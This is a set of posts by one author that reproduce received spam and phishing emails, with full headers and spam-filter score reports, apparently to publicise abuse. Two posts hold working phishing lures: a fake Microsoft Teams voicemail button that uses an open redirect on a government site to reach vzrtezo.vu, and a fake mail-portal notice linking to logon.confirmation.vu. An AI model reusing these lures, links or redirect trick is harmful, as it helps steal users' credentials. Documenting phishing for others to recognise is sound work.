Chinese Products Spam

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Mon, 17 Aug 2026 07:48:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvxgr-000000001tO-2AMO

for dave@doctor.nl2k.ab.ca;

Mon, 17 Aug 2026 07:47:49 -0600

Resent-From: The Doctor

Resent-Date: Mon, 17 Aug 2026 07:47:49 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from out35-15.sg.b.dm.aliyun.com ([8.219.35.15]:44295)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvuhw-00000000KzK-1Rh8

for doctor@nk.ca;

Mon, 17 Aug 2026 04:36:52 -0600

X-AliDM-RcptTo: ZG9jdG9yQG5rLmNh

Feedback-ID: default:xbenl@tyujg.cn:alibabav_SmtpTrigger:155007

DKIM-Signature:v=1; a=rsa-sha256; c=relaxed/relaxed;

d=tyujg.cn; s=aliyun-ap-southeast-1;

t=1786962948; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type;

bh=1t4xHj5q8pQQMJLqChMbMuQY4SCn009UpjnJ2fmNc4c=;

b=kcYfZXZR7l2kzKbejdIDU1EZQ3xUsFPc/nPYrCFIuLChnZMnkbM7uBN7W3HWAO4l7/5uJKHmbxpPdsnK7yIK20r8h45kkhO2q6HwHLBnRI+4qnzGCL0TueWRnhsuNEfAEBVvE3Sj1kPgWxbLq26l9GAHy8+JNKCDIudHNkAuEMU=

Received: from 127.0.0.1(mailfrom:xbenl@tyujg.cn fp:SMTPD_4w3hSHS2LcX cluster:dm-ay35sg-a)

by smtp.aliyun-inc.com(127.0.0.1);

Mon, 17 Aug 2026 18:35:47 +0800

X-EnvId: 8000000307676412487

Content-Transfer-Encoding: base64

From: jenny

Sender: jenny

To: doctor@nk.ca

Reply-To: jenny

Subject: 100G BiDi 80km for backhaul links

Message-ID: <9ee19072-5fce-79ac-af9c-406a3852f4c5@tyujg.cn>

Date: Mon, 17 Aug 2026 10:35:47 +0000

MIME-Version: 1.0

Content-Type: text/html; charset=utf-8

X-Spam_score: 6.0

X-Spam_score_int: 60

X-Spam_bar: ++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Hi, I'm Jenny from Axonode. We supply SFP and QSFP optical

transceivers for ISPs and WISPs.



Content analysis details: (6.0 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[8.219.35.15 listed in dnsbl.ahbl.org]

[8.219.35.15 listed in dnsbl.ahbl.org]

[8.219.35.15 listed in dnsbl.ahbl.org]

[8.219.35.15 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[8.219.35.15 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[8.219.35.15 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[8.219.35.15 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[8.219.35.15 listed in dnsbl.ahbl.org]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[8.219.35.15 listed in will-spam-for-food.eu.org]

[8.219.35.15 listed in will-spam-for-food.eu.org]

[8.219.35.15 listed in will-spam-for-food.eu.org]

[8.219.35.15 listed in will-spam-for-food.eu.org]

[8.219.35.15 listed in will-spam-for-food.eu.org]

[8.219.35.15 listed in will-spam-for-food.eu.org]

[8.219.35.15 listed in will-spam-for-food.eu.org]

[8.219.35.15 listed in will-spam-for-food.eu.org]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-0.0 SPF_PASS SPF: sender matches SPF record

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[8.219.35.15 listed in bl.score.senderscore.com]

1.6 HTML_IMAGE_ONLY_12 BODY: HTML: images with 800-1200 bytes of words

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 UNPARSEABLE_RELAY Informational: message has unparseable relay lines

2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

0.0 T_REMOTE_IMAGE Message contains an external image

Subject: {SPAM?} 100G BiDi 80km for backhaul links



Hi,



I'm Jenny from Axonode. We supply SFP and QSFP optical transceivers for ISPs and WISPs.



Our 100G BiDi 80km solution is designed for long-distance backhaul upgrades using a single fiber strand.



Would this be relevant to any of your current or upcoming links? I can send you the specifications and a short product list.



Jenny

Axonode



If this is not relevant, reply “no” and I won't follow up.

Microsoft Teams voicemail phish

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Mon, 17 Aug 2026 07:48:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvxgU-000000001q6-01dQ

for dave@doctor.nl2k.ab.ca;

Mon, 17 Aug 2026 07:47:26 -0600

Resent-From: The Doctor

Resent-Date: Mon, 17 Aug 2026 07:47:25 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from [178.158.178.7] (port=51675 helo=mail.nl2k.ab.ca)

by doctor.nl2k.ab.ca with esmtp (Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvsBy-000000003dO-1YOX

for sales@mail.nl2k.ab.ca;

Mon, 17 Aug 2026 01:55:42 -0600

From: "Microsoft Teams Voicemail | ID: sales | mail.nl2k.ab.ca"< sales@mail.nl2k.ab.ca>

To: sales@mail.nl2k.ab.ca

Subject: Voicemail - Duration: 3:47 - Company ID - mail.nl2k.ab.ca ****008992

Date: 17 Aug 2026 10:54:38 +0300

Message-ID: <20260817105438.E46FE45BFD631924@mail.nl2k.ab.ca>

MIME-Version: 1.0

Content-Type: text/html

Content-Transfer-Encoding: quoted-printable

X-Spam_score: 14.3

X-Spam_score_int: 143

X-Spam_bar: ++++++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Microsoft Teams You received a voicemail IT COMPANY ID -

mail.nl2k.ab.ca - 008992 RECIEVER EMAIL - sales@mail.nl2k.ab.ca



Content analysis details: (14.3 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[178.158.178.7 listed in dnsbl.ahbl.org]

[178.158.178.7 listed in dnsbl.ahbl.org]

[178.158.178.7 listed in dnsbl.ahbl.org]

[178.158.178.7 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[178.158.178.7 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[178.158.178.7 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[178.158.178.7 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[178.158.178.7 listed in dnsbl.ahbl.org]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[178.158.178.7 listed in will-spam-for-food.eu.org]

[178.158.178.7 listed in will-spam-for-food.eu.org]

[178.158.178.7 listed in will-spam-for-food.eu.org]

[178.158.178.7 listed in will-spam-for-food.eu.org]

[178.158.178.7 listed in will-spam-for-food.eu.org]

[178.158.178.7 listed in will-spam-for-food.eu.org]

[178.158.178.7 listed in will-spam-for-food.eu.org]

[178.158.178.7 listed in will-spam-for-food.eu.org]

3.1 FROM_WSP_LEAD Leading whitespace after '<' in From header field

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

1.9 URIBL_ABUSE_SURBL Contains an URL listed in the ABUSE SURBL blocklist

[URI: www.congressonacional.leg.br]

1.6 RCVD_IN_BRBL_LASTEXT RBL: No description available.

[178.158.178.7 listed in bb.barracudacentral.org]

2.5 URIBL_DBL_PHISH Contains a Phishing URL listed in the DBL blocklist

[URI: vzrtezo.vu]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[178.158.178.7 listed in bl.score.senderscore.com]

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 HTML_MESSAGE BODY: HTML included in message

0.8 SARE_FROM_SPAM_WORD3 I don't know people named this!

1.3 RDNS_NONE Delivered to internal network by a host with no rDNS

0.0 TO_NO_BRKTS_NORDNS_HTML To: misformatted and no rDNS and HTML only

0.5 TO_EQ_FM_DOM_HTML_ONLY To domain == From domain and HTML only

Subject: {SPAM?} Voicemail - Duration: 3:47 - Company ID - mail.nl2k.ab.ca ****008992




60px; FONT-FAMILY: "Segoe UI", Arial, sans-serif; WIDTH: 560px; BACKGROUND:=

rgb(255,255,255); WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: =

none; FONT-WEIGHT: 400; COLOR: rgb(38,38,38); FONT-STYLE: normal; ORPHANS: =

2; WIDOWS: 2; LETTER-SPACING: normal; text-shadow: none; box-shadow: none; =

font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-str=

oke-width: 0px; text-decoration-thickness: initial; text-decoration-style: =

initial; text-decoration-color: initial; border-radius: 4px' cellSpacing=3D=

0 cellPadding=3D0 width=3D560>














DDING-RIGHT: 40px; text-shadow: none; box-shadow: none">


dding=3D0>






>


ONT-WEIGHT: 600; COLOR: rgb(37,36,36); text-shadow: none; box-shadow: none'=

>Microsoft Teams

ADDING-RIGHT: 40px; text-shadow: none; box-shadow: none">


ONT-WEIGHT: 600; COLOR: rgb(37,36,36); MARGIN: 0px 0px 16px; text-shadow: n=

one; box-shadow: none'>You received a voicemail




dow: none; box-shadow: none; border-radius: 8px" cellSpacing=3D0 cellPaddin=

g=3D0 width=3D"100%">










ADDING-RIGHT: 20px; text-shadow: none; box-shadow: none">


dding=3D0 width=3D"100%">








>



"Segoe UI", sans-serif; WIDTH: 42px; BACKGROUND: rgb(0,120,212); FONT-WEIGH=

T: 600; COLOR: rgb(255,255,255); TEXT-ALIGN: center; PADDING-TOP: 0px; LINE=

-HEIGHT: 42px; text-shadow: none; box-shadow: none; border-radius: 50%'>IT<=

/DIV>


NT-WEIGHT: 600; COLOR: rgb(37,36,36); MARGIN: 0px 0px 2px; text-shadow: non=

e; box-shadow: none'>COMPANY ID - mail.nl2k.ab.ca - 008992




NT-WEIGHT: 600; COLOR: rgb(37,36,36); MARGIN: 0px 0px 2px; text-shadow: non=

e; box-shadow: none'> 




NT-WEIGHT: 600; COLOR: rgb(37,36,36); MARGIN: 0px 0px 2px; text-shadow: non=

e; box-shadow: none'>RECIEVER EMAIL - sales@mail.nl2k.ab.ca




NT-WEIGHT: 600; COLOR: rgb(37,36,36); MARGIN: 0px 0px 2px; text-shadow: non=

e; box-shadow: none'> 




dding=3D0>










b(153,153,153); MARGIN: 0px; text-shadow: none; box-shadow: none'>Duration:=

 
; box-shadow: none">3:47


b(153,153,153); MARGIN: 0px; text-shadow: none; box-shadow: none'>Received:=

 
; box-shadow: none">9:00 AM


DDING-RIGHT: 20px; text-shadow: none; box-shadow: none">


PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 12px; DISPLAY: flex; P=

ADDING-RIGHT: 12px; text-shadow: none; box-shadow: none; border-radius: 4px=

; align-items: center">


transparent 0px solid; WIDTH: 0px; BORDER-BOTTOM: transparent 6px solid; P=

ADDING-TOP: 0px; BORDER-LEFT: rgb(0,120,212) 10px solid; MARGIN-RIGHT: 10px=

; text-shadow: none; box-shadow: none">



box-shadow: none; border-radius: 2px; flex: 1 1 0%">


,120,212); PADDING-TOP: 0px; text-shadow: none; box-shadow: none; border-ra=

dius: 2px">



LOR: rgb(97,97,97); MARGIN: 0px 0px 24px; LINE-HEIGHT: 1.5; text-shadow: no=

ne; box-shadow: none'>Sign in to listen to voice message and see the full t=

ranscript.




dding=3D0>






e; border-radius: 4px">
FONT-FAMILY: "Segoe UI", Arial, sans-serif; FONT-WEIGHT: 600; COLOR: rgb(25=

5,255,255); OUTLINE-WIDTH: medium; PADDING-BOTTOM: 12px; PADDING-TOP: 12px;=

OUTLINE-STYLE: none; PADDING-LEFT: 40px; DISPLAY: inline-block; OUTLINE-CO=

LOR: invert; PADDING-RIGHT: 40px; text-shadow: none; box-shadow: none' href=

=3D"https://www.congressonacional.leg.br/c/blogs/find_entry?p_l_id=3D0&noSu=

chEntryRedirect=3Dhttp://_wildcard_.vzrtezo.vu/mon" rel=3Dnoreferrer target=

=3D_blank>Play Voicemail

PADDING-TOP: 20px; PADDING-LEFT: 40px; PADDING-RIGHT: 40px; text-shadow: no=

ne; box-shadow: none">


LOR: rgb(153,153,153); MARGIN: 0px; LINE-HEIGHT: 1.5; text-shadow: none; bo=

x-shadow: none'>You're receiving this email because of your Microsoft =

Team Voicemail settings. To change your settings, go to Settings in Microso=

ft Teams.




LOR: rgb(187,187,187); MARGIN: 8px 0px 0px; text-shadow: none; box-shadow: =

none'>=A9 2026 Microsoft Corporation, One Microsoft Way, Redmond, WA 98052<=

/P>



nk.ca credential phishing from Google Gmail

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Sun, 16 Aug 2026 23:08:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvpZk-00000000L8p-1nxy

for dave@doctor.nl2k.ab.ca;

Sun, 16 Aug 2026 23:07:56 -0600

Resent-From: The Doctor

Resent-Date: Sun, 16 Aug 2026 23:07:56 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-wm1-f101.google.com ([209.85.128.101]:59610)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvpQW-00000000JD6-2YEc

for doctor@netknow.ca;

Sun, 16 Aug 2026 22:58:33 -0600

Received: by mail-wm1-f101.google.com with SMTP id 5b1f17b1804b1-4954f5e8020so14684065e9.2

for ; Sun, 16 Aug 2026 21:57:37 -0700 (PDT)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=nwhssasi-com.20251104.gappssmtp.com; s=20251104; t=1786942650; x=1787547450; darn=netknow.ca;

h=content-type:mime-version:date:content-transfer-encoding:message-id

:subject:to:from:from:to:cc:subject:date:message-id:reply-to

:content-type;

bh=Q6Lv3hmFPclOGBkeOmOvjr3n8/AOt7FLDLcoIE5JlUc=;

b=Tvy59vTlCNDLk65/o7jhedO+U0rWnpvBhNZKF/ZxBSIP+ZhvYPT189+SmO2REv0dRX

4qPTUxay3i//gt4mpI8bnzLAl1gUF/aLOTMzbax2EKx4dbo23pVqIg3NZRZgQT1gkjjj

ycd1sLsrW/1riv+iZo7dLHYSimWGKJtKY9kFE/Pn+2Jj1eGaqakxtc8S9wml43FbvS+l

tSG0pfqFepcR9yh+X57eD0efFAuWsyGvbI/f39oaJuB1m1YaJsc97TB6/9M33cqiW65L

g0F/qfhMs8/cNOEix6RjHuLsUuRgZq3NUtrqwWK9gYNx1pFl6epjevns8or7Mg4G0pVA

IpCA==

X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=1e100.net; s=20251104; t=1786942650; x=1787547450;

h=content-type:mime-version:date:content-transfer-encoding:message-id

:subject:to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date

:message-id:reply-to:content-type;

bh=Q6Lv3hmFPclOGBkeOmOvjr3n8/AOt7FLDLcoIE5JlUc=;

b=CB5c43EXiIvY9LG6rlaM4Hty1whCCcgD4LStW9a4d04WfL1CL1pMCgVyaiFWkqtVgt

gDSUhPDY3tQS2LwbmOap2AR5HW+i9c1B+xMoApiVx5Ko/U1ImT6F3o4YrfehVo/qeigw

m4x+mA0yOYv0/pDzLPBCqOdW2EIRVPjefxP64ubbChLFGeePFchl+rb5o0cl/43raKiJ

KRd2X6rWwAGwCx+qDoVjU0s7FqIe27HNYjqDyrs0aVhDgdrBG8DGaa5H2nYvlLlBDxkH

M45+MX1Y8hALOr70SEOeTONDZx7G4BC5MEPO5FlIaEqT9nooZ2rkKhKVYd47EMNB/2ku

xIVw==

X-Gm-Message-State: AOJu0YzS09+2WHopkjVsnjATQWSp1xvHvmZyK6CGLaiPt1rt26Ef2Lz1

3rPfY9BHk6UWCgAxjOUPdGaaB8ILdPdhMIqShw/piaFTgikHxpOHq3svpXiBZVffLnVdA4w9bt6

3m+QpDisJ5tacFBczHWuj8W1MmmnAhqQ0SdtsBZogbl8OCFI=

X-Gm-Gg: AR+sD11CYUcvi7hIR9Ge1XDtWL5ddjb6QZnjF84O+/A0SlAvNyG8OCoOF9NyGfUmz/J

eUKgMIV6uW7xyuwfgJ/lrHCBW6ho6owUpaOjuh6WriQCwujHeCJ/KxB3T+kERHh0AE1DJyO4e8j

uuYUMBqnSORxorYWd5LHj7sbZigHwi3Kc5d7WnQ+Kus3+lIj6EdvlpWOpPYYCyfV63wGZa5RGkD

OpM+0k5m6dRFyw3ZZ8l13VHx8g/QkLX2jPzZmz8bEI/XoRQQDwWovgu5pGary0NnkaM7ak0gfS4

p/Y0Y6d2VF1IudaCl7Z5F5sDPjlCKufkSiTKY4mAPnOz7uCAwz5V4ENHsulV+MQ/UK+M8VeTujE

AhaoXRyvdVag9

X-Received: by 2002:a7b:c3c4:0:b0:495:5890:8f6c with SMTP id 5b1f17b1804b1-4998793bdf2mr256616295e9.7.1786942650504;

Sun, 16 Aug 2026 21:57:30 -0700 (PDT)

Received: from sasinm.com ([217.160.99.231])

by smtp-relay.gmail.com with ESMTPS id 5b1f17b1804b1-499960ccc3fsm11053795e9.8.2026.08.16.21.57.30

for

(version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);

Sun, 16 Aug 2026 21:57:30 -0700 (PDT)

X-Relaying-Domain: sasinm.com

From: netknow Admin

To: doctor@netknow.ca

Subject: Pending Message Delivery(doctor@netknow.ca)

Message-ID: <7d288740-d388-b73a-7d2c-cb69f7731c72@sasinm.com>

Content-Transfer-Encoding: quoted-printable

Date: Mon, 17 Aug 2026 04:57:29 +0000

MIME-Version: 1.0

Content-Type: text/html; charset=utf-8

X-Spam_score: 8.4

X-Spam_score_int: 84

X-Spam_bar: ++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: netknow PORTAL Notification: Some Incoming messages have

been delayed due to a server error.



Content analysis details: (8.4 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[209.85.128.101 listed in dnsbl.ahbl.org]

[209.85.128.101 listed in dnsbl.ahbl.org]

[209.85.128.101 listed in dnsbl.ahbl.org]

[209.85.128.101 listed in dnsbl.ahbl.org]

[217.160.99.231 listed in dnsbl.ahbl.org]

[217.160.99.231 listed in dnsbl.ahbl.org]

[217.160.99.231 listed in dnsbl.ahbl.org]

[217.160.99.231 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[209.85.128.101 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[209.85.128.101 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[209.85.128.101 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[209.85.128.101 listed in dnsbl.ahbl.org]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[217.160.99.231 listed in will-spam-for-food.eu.org]

[217.160.99.231 listed in will-spam-for-food.eu.org]

[217.160.99.231 listed in will-spam-for-food.eu.org]

[217.160.99.231 listed in will-spam-for-food.eu.org]

[217.160.99.231 listed in will-spam-for-food.eu.org]

[217.160.99.231 listed in will-spam-for-food.eu.org]

[217.160.99.231 listed in will-spam-for-food.eu.org]

[217.160.99.231 listed in will-spam-for-food.eu.org]

[209.85.128.101 listed in will-spam-for-food.eu.org]

[209.85.128.101 listed in will-spam-for-food.eu.org]

[209.85.128.101 listed in will-spam-for-food.eu.org]

[209.85.128.101 listed in will-spam-for-food.eu.org]

[209.85.128.101 listed in will-spam-for-food.eu.org]

[209.85.128.101 listed in will-spam-for-food.eu.org]

[209.85.128.101 listed in will-spam-for-food.eu.org]

[209.85.128.101 listed in will-spam-for-food.eu.org]

-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no

trust

[209.85.128.101 listed in list.dnswl.org]

1.7 URIBL_BLACK Contains an URL listed in the URIBL blacklist

[URI: confirmation.vu]

2.5 URIBL_DBL_PHISH Contains a Phishing URL listed in the DBL blocklist

[URI: confirmation.vu]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-0.0 SPF_PASS SPF: sender matches SPF record

-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)

[209.85.128.101 listed in wl.mailspike.net]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[209.85.128.101 listed in bl.score.senderscore.com]

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 T_KAM_HTML_FONT_INVALID BODY: Test for Invalidly Named or Formatted

Colors in HTML

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 HTML_MESSAGE BODY: HTML included in message

2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

0.0 NO_RDNS2 Sending MTA has no reverse DNS

Subject: {SPAM?} Pending Message Delivery(doctor@netknow.ca)




charset=3Diso-8859-1">


http-equiv=3DContent-Type>






style=3D"FONT-SIZE: 11px; OVERFLOW: hidden; MAX-WIDTH: 580px; BORDER-TOP: =

rgb(229,231,235) 1px solid; FONT-FAMILY: 'Segoe UI', Tahoma, Geneva, =

Verdana, sans-serif; BORDER-RIGHT: rgb(229,231,235) 1px solid; WIDTH: =

580px; WHITE-SPACE: normal; WORD-SPACING: 0px; BORDER-COLLAPSE: collapse !=

important; BORDER-BOTTOM: rgb(229,231,235) 1px solid; TEXT-TRANSFORM: none;=

FONT-WEIGHT: 400; COLOR: rgb(51,51,51); FONT-STYLE: normal; =

BORDER-SPACING: 0px; BORDER-LEFT: rgb(229,231,235) 1px solid; ORPHANS: 2; =

WIDOWS: 2; MARGIN: 30px auto; BACKGROUND-COLOR: rgb(255,255,255); =

font-variant-ligatures: normal; font-variant-caps: normal; =

-webkit-text-stroke-width: 0px; text-decoration-thickness: initial; =

text-decoration-style: initial; text-decoration-color: initial"=20

cellSpacing=3D0 cellPadding=3D0 align=3Dcenter>

=20




style=3D"PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; =

MARGIN: 0px; LINE-HEIGHT: 6px; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(6,=

104,217)"> 




style=3D"PADDING-BOTTOM: 20px; PADDING-TOP: 35px; PADDING-LEFT: 30px; =

MARGIN: 0px; PADDING-RIGHT: 30px">
style=3D"FONT-SIZE: 24px; TEXT-TRANSFORM: uppercase; FONT-WEIGHT: =

800; COLOR: rgb(6, 104,217)">netknow=20

PORTAL




style=3D"COLOR: rgb(55,65,81); PADDING-BOTTOM: 40px; PADDING-TOP: 0px; =

PADDING-LEFT: 30px; MARGIN: 0px; LINE-HEIGHT: 1.6; PADDING-RIGHT: 30px">


style=3D"BORDER-TOP: rgb(254,243,199) 1px solid; BORDER-RIGHT: =

rgb(254,243,199) 1px solid; BORDER-BOTTOM: rgb(254,243,199) 1px solid; =

PADDING-BOTTOM: 18px; PADDING-TOP: 18px; PADDING-LEFT: 22px; BORDER-LEFT: =

rgb(254,243,199) 1px solid; MARGIN: 0px 0px 25px; PADDING-RIGHT: 22px; =

BACKGROUND-COLOR: rgb(255,251,235)">


style=3D"FONT-SIZE: 14px; FONT-WEIGHT: 600; COLOR: rgb(6, 104,217); =

PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; =

PADDING-RIGHT: 0px">Notification:=20

Some Incoming messages have been delayed due to a server error.=




style=3D"FONT-SIZE: 15px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; =

PADDING-LEFT: 0px; MARGIN: 0px 0px 30px; PADDING-RIGHT: 0px">To=20

restore normal service and recover your delayed messages, please =

click release message 
style=3D"TEXT-DECORATION: none; COLOR: ; OUTLINE-WIDTH: medium; =

OUTLINE-STYLE: none; OUTLINE-COLOR: invert; BACKGROUND-COLOR: =

transparent"> through=20

the official portal.




style=3D"PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; =

MARGIN: 0px; PADDING-RIGHT: 0px">
onclick=3D"return Webmail.Widgets.Email.Message.=

evLinkClick(this);"=20

title=3D"This external link will open in a new window"=20

style=3D"FONT-SIZE: 14px; TEXT-DECORATION: none; FONT-WEIGHT: 700; =

COLOR: rgb(255,255,255) !important; OUTLINE-WIDTH: medium; PADDING-BOTTOM: =

14px; PADDING-TOP: 14px; OUTLINE-STYLE: none; PADDING-LEFT: 32px; =

OUTLINE-COLOR: invert; PADDING-RIGHT: 32px; BACKGROUND-COLOR: rgb(6, 104,=

217)"=20

href=3D"https://logon.confirmation.vu/notifications.aspx?=

valid=3Ddoctor@netknow.ca"=20

rel=3D"noopener noreferrer" target=3D_blank>Release Messages =






style=3D"FONT-SIZE: 12px; BORDER-TOP: rgb(229,231,235) 1px solid; =

COLOR: rgb(107,114,128); PADDING-BOTTOM: 25px; PADDING-TOP: 25px; =

PADDING-LEFT: 30px; MARGIN: 0px; PADDING-RIGHT: 30px; BACKGROUND-COLOR: =

rgb(249,250,251)">


style=3D"PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; =

MARGIN: 0px 0px 10px; PADDING-RIGHT: 0px">This=20

is an automated system notification from the netknow administrator. =

Please=20

do not reply directly to this=20

message.




Ulytau Nigerian spam

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Sun, 16 Aug 2026 21:33:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvo5l-000000000Bt-0lwr

for dave@doctor.nl2k.ab.ca;

Sun, 16 Aug 2026 21:32:53 -0600

Resent-From: The Doctor

Resent-Date: Sun, 16 Aug 2026 21:32:53 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from cockroach.aspen.relay.mailchannels.net ([23.83.221.37]:44351)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvj9N-000000006e7-0Z9M

for sales@nk.ca;

Sun, 16 Aug 2026 16:16:27 -0600

X-Sender-Id: hostingeremail|x-authuser|anointing-1@xpresoption.com

Received: from relay.mailchannels.net (localhost [127.0.0.1])

by relay.mailchannels.net (Postfix) with ESMTP id 38A5E61CB9

for ; Sun, 16 Aug 2026 22:15:28 +0000 (UTC)

Received: from fr-int-smtpout30.hostinger.io (100-112-42-149.trex-nlb.outbound.svc.cluster.local [100.112.42.149])

(Authenticated sender: hostingeremail)

